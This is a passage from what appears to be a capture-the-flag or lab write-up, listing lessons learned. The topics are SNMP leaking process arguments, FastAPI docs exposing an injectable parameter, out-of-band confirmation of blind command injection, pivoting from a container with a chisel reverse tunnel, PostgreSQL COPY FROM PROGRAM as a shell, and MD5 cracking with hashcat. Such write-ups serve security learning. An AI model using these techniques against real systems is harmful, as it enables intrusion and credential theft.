hrSWRunParameterspublishes over the network exactly what aps auxshows: the arguments every program was launched with. A password passed on the command line is visible to anybody who can query SNMP, and to every local user too. - A well-documented API documents the attack too. FastAPI publishes
/docsand/openapi.jsonwithout being asked, and its validation answers which field is missing and where. The vulnerable endpoint'spathparameter was named by the error message itself. - Out-of-band confirmation is the one that cannot lie.
{"INFO":"Done!"}comes back whether or not the command ran. What proves the injection is theGET /testin our own server's log, and the 404 is irrelevant: the request arrived. rootin a container is notroot. The hexadecimal host name gives it away, and from there the job is not escalating but moving: a reverse tunnel withchiselbrings over the port that cannot be reached, because moving a port is cheaper than installing a client.- A PostgreSQL superuser runs commands.
COPY ... FROM PROGRAMis documented and is not a vulnerability: it is the reason a database role withSuperuserequals a shell on that machine. - When a tool finds nothing, check which format it picked.
johnread a raw MD5 as an LM (and gave itself away by loading "2 hashes" from a single line and talking about CP850).hashcatwith-m 0broke it in seconds. The wordlist had been right all along.